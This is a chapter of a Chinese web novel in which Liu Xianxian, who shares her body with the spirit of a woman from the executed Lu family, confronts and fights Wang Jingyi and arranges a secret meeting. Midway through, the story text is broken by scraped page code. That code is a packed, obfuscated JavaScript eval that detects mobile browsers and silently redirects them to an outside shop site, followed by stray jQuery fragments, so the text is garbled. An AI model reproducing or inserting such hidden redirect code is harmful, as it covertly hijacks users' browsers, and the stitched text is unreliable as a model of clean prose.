柳纤纤听了,连连惊声道:“她是你的贴身丫鬟?那你是何人?你姓陆,想来也不可能是潘家的人。陆家的丫头为何会到了潘家?而且,你方才对付金铃她们时,所说的话来看,你还对盛京这些官员家的情况皆了如指掌。盛京…陆家…死了的小姐……”
讲到这里,柳纤纤脑子突然浮出一个可怕的答案:陆家……难道是原先太子少傅陆……
未等她想完,陆清欢便道:“不错。就是那个早被满门抄斩的陆家。陆海山是我父亲。”
柳纤纤只觉得双腿酥软,差点跪到地上。
三年前,先太子被朝臣指控,对陛下施行下巫蛊之术,意图篡位谋反。陛下盛怒之下,降下旨意,派遣特使前往东宫亲察真相,谁料先太子做贼心虚,竟罔顾圣意,先将前去的调察的特使杀害后,接着便连同先皇后欲图谋反,矫旨取得部分军权后,与陛下派来平反的军队,在盛京城中激战了整整三日,第四日时,先太子兵败,与先皇后同自缢于东宫内。
而后,凡先前与先太子有过关系,无论朝臣还是平民,皆被赐死,诛连着不下万人。身为太子少傅的陆家,更是首当其冲。
“所以你所说的大事,该不会是让我帮你去杀天子?。”柳纤纤胆战心惊问。
陆清欢冷笑道:“这个你很快就知道了。现在先去前厅。”
“不行,”柳纤纤威胁道,“你必须告诉我,否则我就不去了。”
陆清欢道:“你若不想去,那就由我来控制身体。”
听见这话,柳纤纤忙改口道:“我去就是。”
眼下这种状况,她若不时时控制住自己的身体,由着陆清欢,还不知会闯下什么祸事。
陆清欢道:“那快走吧。你若再磨叽,我就直接上了。”
柳纤纤无法,只得强撑起身体,向大门方向走去。快走到大门附近,稍停了一会,趁无人注意,快速跑到了向西的游廊上,而后低着头,一路小跑向前。直跑到,听见有人谈笑之声,才放缓脚步。
此刻陆清欢又道:“要找的人,名叫王景逸。你只随意寻个这里的下人,托他去找王景逸,你只说你是王锦玉,找他有急事,他听见必来的。”
柳纤纤听了,随即便按照她所说,找了个正站在厅门口墙角的一个小厮,给了对方一锭银子,请他帮忙去找人。
那小厮见有银钱拿,当下就兴冲冲的进了厅内,不一会便回来回话道:“小姐请稍后,王公子说他过会就来。”
柳纤纤答应着,便让小厮先退下,自己则坐到了游廊的石杆上,口内小声问:“等下人来了,见了他我要怎么说?”
陆清欢道:“你就说你是陆家的远亲,陆家的人先前托你交给他一件东西,约他明日未时去钓月院去取。”
顿了顿,她又像是特意给柳纤纤解释似得,又补充道:“这里人多眼杂,不好同他多说。”
柳纤纤点头道:“是要谨慎些才对。”
说罢,便坐着等人过来。
过了不多时,果听到厅门前有人从内走出来的动静,然后便听见人声响起:“王锦玉.....你人呢.....快出来,到底找本公子何事?”
柳纤纤因坐在旁边,有一根圆柱,所以视线暂被遮住,一时也没看清那人的脸,直听见那人说的话,知道是她要找的人,便忙起身,笑着迎了上去:“王公子,方才找你的人其实是我,我是......."
就在她看清楚,来人的长相时,她突然将话停了下来,只因那张脸她曾见过,偏偏这张脸的主人还是她的仇人。
柳纤纤率先开口啐道:”臭小贼,原来你叫王景逸,老天开眼,竟让我在这里碰到你。”
名唤王景逸的男子,听见有人骂他,忙瞪大他那双因醉酒,看人模糊的眼睛,摇头晃脑道:“你是谁.....为何要......骂我?”
“我是你柳姑奶奶。”柳纤纤说着话,便上前给了王景逸一拳,只可惜因为两人身高相差太多,加上对方本能的向后躲了一下,那一拳只打到他的右胸上。
王景逸惊得酒已醒了一大半,当即怒斥道:“你发什么疯,我又不认识你,你干嘛打我?”
柳纤纤也同他多话,抬起胳膊对着他的下巴又是一拳,疼的王景逸龇牙咧嘴,向后退了好远。他手捂住下巴,威胁道:“你若是再动手,我可就要反击了,到时候休怪本少爷对你不客气。”
柳纤纤冷笑道:“那你快反击呀。真以为我怕你呀。”
说着,便还要再上前打王景逸几拳。偏此时听见陆清欢道:“别闹了,快办正事要紧。”
柳纤纤道:“不行。你不知道这人行径有多可恶,前番招惹我后,不慎让他跑了。这次既被我撞见,我定不能再放过他。”
陆清欢听了只得道:“那你打快些。注意别被他伤到。”
柳纤纤笑道:“一定,你就瞧好吧。”说罢,赶着就往王景逸身前冲了过去。
而此时,王景逸的酒已完全醒了,见柳纤纤又朝自己来,忙站直了身体。待她逼近,略侧身躲了,又顺势一把握住她的手腕,伸出另一只手,按住她另一侧的肩膀,将她整个身体反制住,说道:“这下看你怎么再打我。”
柳纤纤试图挣脱,奈何王景逸的力气实在太大,无论她如何动,都挣脱不开,气的她只能大叫道:“臭小贼,王八蛋,你快放开我。有本事和你姑奶奶我单挑。”
王景逸道:“我这是为你好。真要同本少爷单挑,你怕是早就被打的哭了。方才是我没注意,才白挨了你一拳。现在你以为,你还能有机会打到我呀。”
说着他手上的力道又加了几分,问道:“方才冒充王锦玉,让小厮骗我出来的是也你吧?你到底是谁,为何要这么做?”
柳纤纤疼的,倒抽几口凉气,嘴上却只道:“我不是才告诉过你,我是你柳姑奶奶。”
“嘴还挺硬,”王景逸冷哼道,“既给了你机会,你不愿说,那就别怪我了。”
说完,他竟用腿踢了下柳纤纤的膝盖,迫使她半跪在了地上,然后强拉住她的身体,向后倾倒。
柳纤纤顿时痛到眼冒金星,眼泪都快要挤出来了,忍不住恳求道:“放开我,我告诉你就是。”
王景逸听见这话,泄了点力气,道:“那你快说。”
“你先放手,我才能说。”柳纤纤道。
王景逸不屑道:“你当我傻呀。放开你,你还不趁机跑了。”
柳纤纤道:“你不信就算了。反正这事事关陆家。”
王景逸听见这话,登时心头一紧,不知她是何意,怕其中有诈,忙问:“你说的什么?哪个陆家?”
柳纤纤先向四周瞟了一眼,见除了她两个以外,并无他人,才小声道:“陆清欢你可认识?”
王景逸听后更加疑惑,反又加重力气逼问道:“你到底是谁?是谁派你来的?究竟要做什么?”
柳纤纤疼的撑不住,呻吟了两声,口里忙问:“我该怎么办?”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17912533|213181||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
陆清欢道:“交给我来处理吧。”
柳纤纤强撑道:“不行。必须我来。你快说就是。”
而这话,落在王景逸耳里,却觉得莫名奇妙,只以为柳纤纤再戏耍他,便更加怒不可遏道:“休要在胡言乱语。再不说,我就将你一只胳膊卸下来。”
柳纤纤气急道:“快放手,你个大倔驴。”
此话一出,王景逸立刻松了手,一下跌坐到地上,茫然地看着柳纤纤。
趁此时机,柳纤纤连忙站起身,对着王景逸的腿连踢了好几脚,骂道:“臭小贼,疼死姑奶奶我了。竟然还敢胁迫我。”
可奇怪的是,无论她怎么使劲踢,王景逸都只是看着她,没有任何反应。
稍稍解了点气的柳纤纤,见他这副样子,忍不住开口问:“喂,你是傻了吗?”
等了好一会儿,见他还是没有反应,便探下身子,伸出手在他面前晃了晃:”喂,你说话呀?怎么突然变成哑巴了?”
话音刚落,却见王景逸一把拉住她的手,激动道:“你何时见过清欢的?是她让你来找我的吗?快告诉我!”
柳纤纤被他的样子吓了一跳,忙往后躲了躲,厌恶地甩开他的手道:“你姑奶奶我累了,现在不想说了。你要想知道真相,明日末时,就到钓月院来找我吧。”
说着,她从袖袋内取了块帕子,擦了擦方才被王景逸抓过的手,又伸手指着他,警告道:“你别缠着我哦,再惹到我,我永远都不告诉你。”
说完也不等王景逸回答,她着脚步轻盈地往大门的方向走去。
徒留王景逸一人呆坐在原地。
直走出大门,正站在门口,等小厮去赶车过来的空隙,柳纤纤忽听见陆清欢问她道:“如此可算是解了气?”
柳纤纤用极小的声音,笑回道:“等明日就知道了。”
陆清欢轻叹道:”我只是怕你吃亏。他那性子比驴还要倔上十分。若真倔起来,再难拉回来。”
柳纤纤道:“这个你不用担心。我这人最擅长的便是驯服走兽了,何况一头倔驴,明日你等着看好戏就是,只别拦我就行。”
陆清欢道:“即是他得罪你在先。也只能如此了,且等你明日发泄完,再让我跟他说。”
二人正说着话,从大门内乌泱泱涌出好些人,一时便将大门占去了大半。
柳纤纤忙识趣地往最边上挪了挪,让出空间给他们,眼睛却好奇地悄悄看他们。
只见为首的是一个年轻,长相秀气的男子和一个腰已佝偻的半老男人,余着也是一帮男人,老中少各个年龄段皆有,都站在这两人身后。
柳纤纤见他们的穿着,猜出这些人应该都是今日来参加满月宴的官员。
那些人才刚站定,就见门阶下,有几个轿夫抬了定半旧的轿子过来。
而后便听见为首的半老男人,对着年轻男子恭身道:“张大人,您请。”
年轻男子略微颔首,而后作揖对着众官员道:“诸位请止步,我先告辞。”
众人见此情形,皆垂首回礼道:“张大人,慢走。”
接着便见男子走下门阶,上了轿,轿夫遂将轿抬起往前。
可直至轿子拐进深巷中,再也看不见时,那些人才起身,复回宅内。
如此,柳纤纤心下不由好奇道:”此人是谁。怎有如此大的派头。”
原本她这番疑问,并不是要问陆清欢,可隔了许久,却听见她冷声道:“你会认识他的。”